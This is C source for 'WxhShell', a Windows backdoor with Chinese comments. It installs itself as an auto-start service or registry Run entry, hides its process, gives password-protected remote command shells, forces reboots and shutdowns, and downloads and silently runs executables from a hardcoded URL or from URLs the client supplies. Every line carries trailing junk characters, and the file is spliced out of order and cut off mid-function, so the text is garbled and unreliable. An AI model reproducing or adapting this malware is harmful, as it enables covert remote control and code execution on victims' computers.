    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C5:dO\?O  
    if(Boot(SHUTDOWN)) "@c';".|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H3 A]m~=3  
    else { zPX=MfF  
    closesocket(wsh); #U ",,*2  
    ExitThread(0); ~)! V8  
    } hO+O0=$}wN  
    break; 9J-!o]f .b  
    } vSyi}5D  
  // 获取shell Z-? Iip{  
  case 's': { >.!5M L\  
    CmdShell(wsh); b6LC$"t0  
    closesocket(wsh); &J5-'{U|0  
    ExitThread(0); ]X >QLD0W  
    break; >6.[i@RmWU  
  } +LQs.*  
  // 退出 P-E'cb%ub  
  case 'x': { Rk437vQD,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =0@d|LeZ  
    CloseIt(wsh); 4y]:Gq z~  
    break; .J<qfQ  
    } '?vgp  
  // 离开 brYYuN|Vc  
  case 'q': { 6]@|7|N>X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  H3/Y  
    closesocket(wsh); \Age9iz&  
    WSACleanup(); t[f9Z  
    exit(1); s0`|G|.}  
    break; aowPji$H  
        } y:hCBgc;`c  
  } (N~zJ .o  
  } iS:PRa1  
C%95~\Ds  
  // 提示信息 2h|(8f:y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2 d>d(^  
} TQ5MKqR$  
  } 7=QC+XSO  
,/w852|ub  
  return; f)AW! /  
} ~ ];6hxv  
[MQJ71(3  
// shell模块句柄 mP5d!+[8  
int CmdShell(SOCKET sock) (4{@oM#H6  
{ @KXz4PU  
STARTUPINFO si; z!1/_]WJ,  
ZeroMemory(&si,sizeof(si)); ^qId]s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1EAVMJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k`2B9,z  
PROCESS_INFORMATION ProcessInfo; Mc$v~|i6  
char cmdline[]="cmd"; d_W nK{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #*>7X>,J  
  return 0; \HP,LH[P:  
} xV n]m9i  
0LHiOav  
// 自身启动模式 Og;$P 'U  
int StartFromService(void) Lm*LJ_+ B  
{ vVAZSR#  
typedef struct ,QHx*~9  
{ dl7p1Cr  
  DWORD ExitStatus; C_^R_  
  DWORD PebBaseAddress; $ Op/5j  
  DWORD AffinityMask;  I^(o3B  
  DWORD BasePriority; /P8eI3R  
  ULONG UniqueProcessId; vu.S>2Wv  
  ULONG InheritedFromUniqueProcessId; [@. jL0>  
}   PROCESS_BASIC_INFORMATION; Ng;b!S  
"za*$DU  
PROCNTQSIP NtQueryInformationProcess; ?j4,^K3  
e2h k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bU4+P A@$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c;~Llj P  
^%*{:0'  
  HANDLE             hProcess; RH'F<!p  
  PROCESS_BASIC_INFORMATION pbi; FO'. a  
_OxnHf:|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); milK3+N  
  if(NULL == hInst ) return 0; S5pP"&I[  
!{~7)iq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f s"V'E2a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X8l1xD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IO&#)Ft  
bd 1J#V]  
  if (!NtQueryInformationProcess) return 0; Mn\ B\  
g-V\ s&}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wPO@f~[Ji  
  if(!hProcess) return 0; k;:u| s8NS  
W4rw;(\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VQNH@g^gqr  
J%[N-  
  CloseHandle(hProcess); k&"qdB(I  
 B3+WOf5W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +U/"F|M  
if(hProcess==NULL) return 0; Pymh^i  
a5~C:EU0  
HMODULE hMod; :ktX7p~  
char procName[255]; ]jY)M<:J4  
unsigned long cbNeeded; y`@4n.Q  
NizJq*V>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZG[0rvW  
| v'5*n9  
  CloseHandle(hProcess); Gc!{%x  
BHE =Zo  
if(strstr(procName,"services")) return 1; // 以服务启动 ]:#$6D"  
|Gs-9+'y  
  return 0; // 注册表启动 Pk]9.e1_  
} !<PTsk F  
~t3?er& R  
// 主模块 MmX[xk  
int StartWxhshell(LPSTR lpCmdLine) 9C~GL,uKs  
{ i&Cqw~.H  
  SOCKET wsl; d@4=XSj  
BOOL val=TRUE; U"kK]Stk<  
  int port=0; W2(=m!:U  
  struct sockaddr_in door; )3\rp$]1  
zw9ULQ$#  
  if(wscfg.ws_autoins) Install(); vCo}-b-j  
$`{q =  
port=atoi(lpCmdLine); M_ cb(=ey  
 !3M!p&  
if(port<=0) port=wscfg.ws_port; 7IW7'klkvD  
 D.x3@+  
  WSADATA data; Z:gsguX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ip\g ^ia  
2xBGs9_Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   { 3P!b|V>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .@Sh,^v  
  door.sin_family = AF_INET; FsZEB/c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (X'K)*G#  
  door.sin_port = htons(port); k ZEy  
#^w 1!xXD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0vNM#@  
closesocket(wsl); @,$HqJ  
return 1; 2YEn)A@8  
} >(Ddw N9l  
52Ffle8  
  if(listen(wsl,2) == INVALID_SOCKET) { g@i 4H[k  
closesocket(wsl); ;G&O"S><]c  
return 1; $k=rd#3  
} ~a)2 0  
  Wxhshell(wsl); fkG"72 95A  
  WSACleanup(); dQ o$^?  
RS=7W._W  
return 0; 9uo\&,,  
X,Q(W0-6$u  
} }z@hx@N/  
Qd=/e pkm  
// 以NT服务方式启动 XwGJ 8&N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xBd% e-r  
{ "lMWSCas  
DWORD   status = 0; yrb%g~ELGn  
  DWORD   specificError = 0xfffffff; \EqO;A%<  
xk<0QYv   
  serviceStatus.dwServiceType     = SERVICE_WIN32; of<OOh%3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E$baQU hKS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]vG)lY.=  
  serviceStatus.dwWin32ExitCode     = 0; N* QI>kzU  
  serviceStatus.dwServiceSpecificExitCode = 0; C_;6-Q%V  
  serviceStatus.dwCheckPoint       = 0; <7h'MNf&  
  serviceStatus.dwWaitHint       = 0; _z< q9:  
|MGw$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {K}+$jzGVt  
  if (hServiceStatusHandle==0) return; E_#&L({|@  
*9 xD]ZZF  
status = GetLastError(); 06r cW `  
  if (status!=NO_ERROR) Z%{2/mQ  
{ NIGFu{S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $NSYQF%aO  
    serviceStatus.dwCheckPoint       = 0; gne c#j  
    serviceStatus.dwWaitHint       = 0; \^D`Hvg  
    serviceStatus.dwWin32ExitCode     = status; pwQ."2x  
    serviceStatus.dwServiceSpecificExitCode = specificError; *0tNun 5=3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z7/lFS'~N  
    return; ?z.`rD$}(n  
  } nfU}ECun4  
GQQ6 t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 23m+"4t  
  serviceStatus.dwCheckPoint       = 0; 4O'ho0w7  
  serviceStatus.dwWaitHint       = 0; eAEVpC2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {0~ p"%*  
} $MR4jnTT  
+-i@R%  
// 处理NT服务事件,比如:启动、停止 o@-cT`HP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [DviN  
{ :nn'>  
switch(fdwControl) 4D5)<3N=d'  
{ Smo'&x  
case SERVICE_CONTROL_STOP: `K.yE0^i  
  serviceStatus.dwWin32ExitCode = 0; _`_$U MK;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dcsd//E  
  serviceStatus.dwCheckPoint   = 0; 92R{V%)G  
  serviceStatus.dwWaitHint     = 0; Ki2_Nh>tM  
  { %$U+?lk}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >{[J+f{~|  
  } [?A0{#5)8x  
  return; 'DPSM?]fA  
case SERVICE_CONTROL_PAUSE: ^B7Aam  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 60m1 >"  
  break; u&:jQ:[  
case SERVICE_CONTROL_CONTINUE: ;3_'{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 43YusUv  
  break; f#?R!pR  
case SERVICE_CONTROL_INTERROGATE: tBt\&{=|D  
  break; QGa"HG5NF  
}; )!Bv8&;e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B7 T+a  
} 3UEh%Ho  
mi+I)b=  
// 标准应用程序主函数 W NCdk$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wcO_;1_ H  
{ p("do1:  
H~&'`h1  
// 获取操作系统版本 UaB!,vs3st  
OsIsNt=GetOsVer(); 5E]I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0< !BzG  
X#fI$9a  
  // 从命令行安装 %~@}wHMB  
  if(strpbrk(lpCmdLine,"iI")) Install(); o Vs&r?\Z  
QAr1U7{(.  
  // 下载执行文件 d]<tFx>CQW  
if(wscfg.ws_downexe) { BX?Si1c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '<O& :  
  WinExec(wscfg.ws_filenam,SW_HIDE); My)/d]a  
} K.k=\N  
)%0#XC^/X5  
if(!OsIsNt) { \;~>AL*  
// 如果时win9x,隐藏进程并且设置为注册表启动 a"}?{  
HideProc(); 0YKG`W  
StartWxhshell(lpCmdLine); /D eU`rj  
} Y|Z*|c.4OK  
else :Q 89j4,  
  if(StartFromService()) Gg_i:4F  
  // 以服务方式启动 AV?*r-vWL.  
  StartServiceCtrlDispatcher(DispatchTable); D(y=0),  
else 75a3H`  
  // 普通方式启动 (URWi caB  
  StartWxhshell(lpCmdLine); {epsiHK@tK  
Rh%x5RFFc  
return 0; yB&s2J  
} w zF"^CJ  
P66>w})@  
jZ)1]Q2  
`6'fX[j5  
===========================================  'y1=Z  
[H!V  
) "'J]6  
3(X"IoNQ  
(JOge~U  
Xfe,ZC)  
" AFyf7^^k  
/K1YDq<=  
#include <stdio.h> >%t"VpvR  
#include <string.h> :\>@yCD  
#include <windows.h> x)s`j(pYC  
#include <winsock2.h> A^xD Axk  
#include <winsvc.h> ? 3Td>x  
#include <urlmon.h> =98@MX%P  
@#;2P'KL  
#pragma comment (lib, "Ws2_32.lib") Y'wQ(6ok  
#pragma comment (lib, "urlmon.lib") G7 b>r  
;BsyN[bF  
#define MAX_USER   100 // 最大客户端连接数 EHmw(%a|+  
#define BUF_SOCK   200 // sock buffer ; &$djP  
#define KEY_BUFF   255 // 输入 buffer J#"@~Q+a`@  
Bg {"{poy  
#define REBOOT     0   // 重启 Z)?B5FF  
#define SHUTDOWN   1   // 关机 #A+ dj| b  
Y<odXFIS  
#define DEF_PORT   5000 // 监听端口 "{Lp'+wNw  
yal T6  
#define REG_LEN     16   // 注册表键长度 _46 y  
#define SVC_LEN     80   // NT服务名长度 =c:K(N qL  
}N dknut,  
// 从dll定义API /SO 4O|b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \b6H4aQii  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {FNmYneh?6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y {a#2(xn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7b7@"Zw*  
hV_bm@f/y  
// wxhshell配置信息 yy8h8{=g  
struct WSCFG { }f45>@uMW  
  int ws_port;         // 监听端口 sF[7pE  
  char ws_passstr[REG_LEN]; // 口令 = wEU+R_#o  
  int ws_autoins;       // 安装标记, 1=yes 0=no k /srT<  
  char ws_regname[REG_LEN]; // 注册表键名 cgY + xd@  
  char ws_svcname[REG_LEN]; // 服务名 O1[`2kj^HB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ROb2g|YXG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hhRUC&Y%V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cHP~J%&L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4;_aFn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "h58I)O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NpqK+GO  
oy{ {d  
}; FK ? g  
4TX~]tEyky  
// default Wxhshell configuration .Aj4?AXWc  
struct WSCFG wscfg={DEF_PORT, HFlMx  
    "xuhuanlingzhe", &-.NkW@  
    1, bMU0h,|]  
    "Wxhshell", @~g][O#Fu  
    "Wxhshell", 9\ f%+?p  
            "WxhShell Service", M4rI]^lJ  
    "Wrsky Windows CmdShell Service", Ct@OS227x  
    "Please Input Your Password: ", ~!//|q^ J]  
  1, *UxN~?N|  
  "http://www.wrsky.com/wxhshell.exe", mLGbwm'K  
  "Wxhshell.exe" QTe>EJ12  
    }; }:SWgPfc  
dkUh[yo"H  
// 消息定义模块 ` b$u w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^&8FwV]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'j&+Pg)@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v2K6y|6,  
char *msg_ws_ext="\n\rExit."; _4^#VD#f  
char *msg_ws_end="\n\rQuit."; *gGL5<%T:  
char *msg_ws_boot="\n\rReboot..."; lE|Hp  
char *msg_ws_poff="\n\rShutdown..."; 'jnR<>N  
char *msg_ws_down="\n\rSave to "; @ vHj>N  
o%j[]P@4G  
char *msg_ws_err="\n\rErr!"; ?hfyQhR  
char *msg_ws_ok="\n\rOK!"; MqKf'6z  
Aq3.%,X2H  
char ExeFile[MAX_PATH]; "Qci+Qq  
int nUser = 0; Rlyx& C8  
HANDLE handles[MAX_USER]; 3OZu v};k  
int OsIsNt; K3*8-Be  
Thc"QIk&4  
SERVICE_STATUS       serviceStatus; B QxU~s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D:Rr|m0Tk  
XSBh+)0Ww  
// 函数声明 hf('4^  
int Install(void); }} s.0Q  
int Uninstall(void); | > t,1T.  
int DownloadFile(char *sURL, SOCKET wsh); L;%_r)  
int Boot(int flag); a@?2T,$  
void HideProc(void); zt3y5'Nk  
int GetOsVer(void); $C.;GUEQ  
int Wxhshell(SOCKET wsl); %D_pTD\  
void TalkWithClient(void *cs); {InD/l'v6n  
int CmdShell(SOCKET sock); :t8?!9g  
int StartFromService(void); i,z^#b7JQ  
int StartWxhshell(LPSTR lpCmdLine); VwKo)zH  
+i0j3.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @W+m;4HH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )W1tBi  
Z>t,B%v  
// 数据结构和表定义 Op2@En|d  
SERVICE_TABLE_ENTRY DispatchTable[] = Q?uHdmY*X  
{ V^[B=|56  
{wscfg.ws_svcname, NTServiceMain}, <bbC &O\  
{NULL, NULL} JsZLBq*lP  
}; &}q;,"  
LI`H,2Km  
// 自我安装 xP61^*-2  
int Install(void) 6myF!  H=  
{ ZqK1|/\ rh  
  char svExeFile[MAX_PATH]; jMV9r-{*+  
  HKEY key; de<T5/  
  strcpy(svExeFile,ExeFile); "1iLfQ  
W8><  
// 如果是win9x系统,修改注册表设为自启动 bnYd19>  
if(!OsIsNt) { XJI ff$K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r-aCa/4y!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~( ~ y=M  
  RegCloseKey(key); >o_cf*nx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DbIn3/W Ne  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M?QK4Zxb6U  
  RegCloseKey(key); w$1B|7tX;2  
  return 0; px>g  
    } EjDr   
  } E-?@9!2 &  
} 8[\ ~}Q6  
else { ;T,`m^@zf  
GJo`9  
// 如果是NT以上系统,安装为系统服务 ! 0DOj["  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H b}(.`  
if (schSCManager!=0) PC55A1(T  
{ i~sW_f+  
  SC_HANDLE schService = CreateService Vu1swq)l  
  ( WTX!)H6Zv  
  schSCManager, $z[r (a^a  
  wscfg.ws_svcname, k,0lA#>  
  wscfg.ws_svcdisp, *\"+/   
  SERVICE_ALL_ACCESS, 4ynGXJmMlR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tYST&5Kh~  
  SERVICE_AUTO_START, CjT]!D)s  
  SERVICE_ERROR_NORMAL, #-{^={p "  
  svExeFile, u|EHe"V"  
  NULL, <#>{7" }  
  NULL, ,he1WjL  
  NULL, x4^* YZc$,  
  NULL, D wtvtglqV  
  NULL 5q95.rw  
  ); GEbm$\  
  if (schService!=0) -*AUCns#  
  { 2'T uS?  
  CloseServiceHandle(schService); & T&>4I!'M  
  CloseServiceHandle(schSCManager); g7@.Fa.u'!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); < s1  
  strcat(svExeFile,wscfg.ws_svcname); R Y ";SfYb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a"bael  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dk[MT'DV  
  RegCloseKey(key); /P koqA,  
  return 0; qfS ]vc_N  
    } K!jMW  
  } I6lWB(H!u  
  CloseServiceHandle(schSCManager); * G0I2  
} ,f)#&}x*2+  
} E;-*LT&{  
IEeh9:Km  
return 1; 'd |*n#Dqc  
} 6X[Mn2wYW  
>))K%\p   
// 自我卸载 |@Sj:^cJD  
int Uninstall(void) l invK.Lf  
{ C<yjGt VD  
  HKEY key; &E0L 2gbI  
;q&2$Mb  
if(!OsIsNt) { " gQJeMU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;:Q&Rf"@%  
  RegDeleteValue(key,wscfg.ws_regname); NGL,j\(~7  
  RegCloseKey(key); y$`@QRW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7x//4G   
  RegDeleteValue(key,wscfg.ws_regname); "[`/J?W  
  RegCloseKey(key); wS @-EcCB  
  return 0; HMl M!Xk?  
  } ;nbbKQ]u  
} 4"d'iY  
} R@A"U[*  
else { DTo P|P  
SK t&BnW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *RJiHcII  
if (schSCManager!=0) v!6IH  
{ f`bRg8v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cllnYvr3  
  if (schService!=0) Yc2dq e>  
  { ?~=5 x  
  if(DeleteService(schService)!=0) { :]uz0s`>  
  CloseServiceHandle(schService); ='Fh^]*5  
  CloseServiceHandle(schSCManager); XkEE55#>|  
  return 0; m,^UD{  
  } iCNJ%AZ H  
  CloseServiceHandle(schService); xM2UwTpW  
  } PsO>&Te2  
  CloseServiceHandle(schSCManager); f(E[jwy  
} -h%1rw  
} 8[L]w^  
,&iZ*6=X?0  
return 1;  s4vj  
} o|Kd\<rY  
> K s.  
// 从指定url下载文件 PaZd^0'!Z  
int DownloadFile(char *sURL, SOCKET wsh) Mt\.?V:  
{ e {805^X}  
  HRESULT hr; 80"oT'ZFh  
char seps[]= "/"; 0s .X  
char *token; q$7/X;A  
char *file; {Y1&GO;  
char myURL[MAX_PATH]; {ug*  
char myFILE[MAX_PATH]; ^a?g~G  
fR#W#n#m  
strcpy(myURL,sURL); 0 LQ%tn  
  token=strtok(myURL,seps); ZDbzH=[  
  while(token!=NULL) tOxTiaa=  
  { EqF>=5*  
    file=token; uxbLoE  
  token=strtok(NULL,seps); y1#*c$ O  
  } =h,J!0Y  
\:9<d@?  
GetCurrentDirectory(MAX_PATH,myFILE); {Lugdf'  
strcat(myFILE, "\\"); pMV?vH  
strcat(myFILE, file); P#-p* 4  
  send(wsh,myFILE,strlen(myFILE),0); l0=VE#rFl  
send(wsh,"...",3,0); Xh@;4n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KskPFXxP  
  if(hr==S_OK) `Ln1g@  
return 0; V?"1&m& E  
else 7[:?VXQ  
return 1; 3hfv^H  
Xa_:B\ic  
} cv-;fd>'  
R{UZCFZ  
// 系统电源模块 gf70 O>E  
int Boot(int flag) O:Wd ,3_  
{ WXd#`f%  
  HANDLE hToken; k_`YVsEYP  
  TOKEN_PRIVILEGES tkp; ~toR)=Yv  
+do* C =z  
  if(OsIsNt) { ]sJjV A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uvJmEBL:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E&>;a!0b]  
    tkp.PrivilegeCount = 1; i4lB ]k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Mo]aB:a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <vd}oiB@  
if(flag==REBOOT) { S^{tRPF%d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?N]G;%3/  
  return 0; jJAr #|  
} <K <|G  
else { .t.4y. 97  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X0]Se(  
  return 0; >N"=10  
} Y8for'  
  } BiA^]h/|  
  else { r o8C^d]  
if(flag==REBOOT) { FpZ5@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !'Ww%ZL\   
  return 0; ]L?WC  
} ]CX^!n  
else { :=\`P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h<i.Z7F;tj  
  return 0; 5hfx2 O)  
} $]MOAj"LH  
} |WSm puf  
3v3`d+;&  
return 1; uFL!* #A  
} 4KY@y?H g  
}[OEtd{  
// win9x进程隐藏模块 2[Xe:)d  
void HideProc(void) |;R-q8  
{ `+(4t4@ew  
0oo_m6ie&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RQ,X0 pS  
  if ( hKernel != NULL ) u?KG%  
  { SDO~g~NTp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H%;pPkIi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }DQ[C&  
    FreeLibrary(hKernel); N@8tf@BT   
  } iOiXo6YE  
c+jnQM'  
return; *oAnG:J+M  
} 5D>cbzP@  
qG0gc\C}  
// 获取操作系统版本 Y{L|ja%9?  
int GetOsVer(void) cBU@853  
{ F8B:P7I  
  OSVERSIONINFO winfo; \oO &c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [yVcH3GcjI  
  GetVersionEx(&winfo); t}gK)"g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \8`^QgV`@  
  return 1; X iM{YZ`B  
  else vr$z6m ^  
  return 0; uR82},r$m  
} (ewcj\l4*  
,62BZyT,T,  
// 客户端句柄模块 h|ja67VG  
int Wxhshell(SOCKET wsl) Hzc^fC  
{ HK<oNr.d52  
  SOCKET wsh; cX5tx]  
  struct sockaddr_in client; D$SO 6X~  
  DWORD myID; >u=nGeO  
E9j(%kQ2  
  while(nUser<MAX_USER) ~PCS_  
{ /(bn+l}W  
  int nSize=sizeof(client); LdyE*u_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n7d`J_%s  
  if(wsh==INVALID_SOCKET) return 1; 'Y5=A!*@tf  
k)JwCt.%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LY!.u?D`P  
if(handles[nUser]==0)  34~[dY  
  closesocket(wsh); 6dYUMqQ  
else %$F\o1S  
  nUser++; *1_A$14 l  
  } Zy > W2(<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BO;LK-V  
el,n5O Z7  
  return 0; |*zvaI(}  
} 9wv 7 HD|  
YCNpJGM  
// 关闭 socket jI807g+  
void CloseIt(SOCKET wsh) }ABHGr5[  
{ P4~C0z  
closesocket(wsh); ; ,:w % .  
nUser--; U+g<lgH1J  
ExitThread(0); NGb\e5?  
} S|ADu]H(  
-Tr*G4  
// 客户端请求句柄 sxQMfbN  
void TalkWithClient(void *cs) z=VL|Du1OT  
{ y&+Sp/6BYA  
Le}-F{~`^  
  SOCKET wsh=(SOCKET)cs; NeY,Of|  
  char pwd[SVC_LEN]; pJ]i)$M  
  char cmd[KEY_BUFF]; .R {P%r  
char chr[1]; xGymQ|y84  
int i,j; F#Xzh Ds  
Hf$LWPL)lM  
  while (nUser < MAX_USER) { n7K\\|X  
}K\m.+%=d  
if(wscfg.ws_passstr) { P[C03a!lXg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SiSx ym  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b n<}  
  //ZeroMemory(pwd,KEY_BUFF); 1]Gp \P}  
      i=0; $qj||zA  
  while(i<SVC_LEN) { |#-GH$.v  
j#E&u*IR  
  // 设置超时 {H%1sI  
  fd_set FdRead; zAdZXa[MRY  
  struct timeval TimeOut; <',bqsg[  
  FD_ZERO(&FdRead); %QrpFE5 V5  
  FD_SET(wsh,&FdRead); \)n'Ywr  
  TimeOut.tv_sec=8; h ?%]uFJC  
  TimeOut.tv_usec=0; yjxv D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O<?z\yBtS^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C!}9[X!7@:  
Vtr5<:eEx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y:} !W  
  pwd=chr[0]; o>Jr6: D(  
  if(chr[0]==0xd || chr[0]==0xa) { Ykd< }KE>  
  pwd=0; 42mZ.,<  
  break; s0x;<si_  
  } :Pf2oQ  
  i++;  @Iy&Qo  
    } )j>BvO  
B)4>:j:{?W  
  // 如果是非法用户,关闭 socket jh&WL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x#_0 6  
} h^$ c  
K-b'jP\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qKd&d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); , HE +|y#  
Fb{kql=  
while(1) { +Tw]u`  
L4L[@tMPmY  
  ZeroMemory(cmd,KEY_BUFF); ir ^XZVR  
ZeyA bo  
      // 自动支持客户端 telnet标准   \E<t'\>@X  
  j=0; zn@yt%PCV  
  while(j<KEY_BUFF) { >1n[Y- r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gP?uLnzvi  
  cmd[j]=chr[0]; h!L6NS_Q,  
  if(chr[0]==0xa || chr[0]==0xd) {  e ):rr*  
  cmd[j]=0; b\O%gg\p%!  
  break; u`2[V4=L  
  } 9cm9;  
  j++; T1Q c?5K^  
    } `fRp9o/  
LiF(#OuZ  
  // 下载文件 a!US:^}lu  
  if(strstr(cmd,"http://")) { d]*a:>58  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <8Zm}-U  
  if(DownloadFile(cmd,wsh)) Dqw?3 KB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lp;= f  
  else (7qdrAeP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #AJo75E%  
  } xC,;IS k,  
  else { }H4Z726  
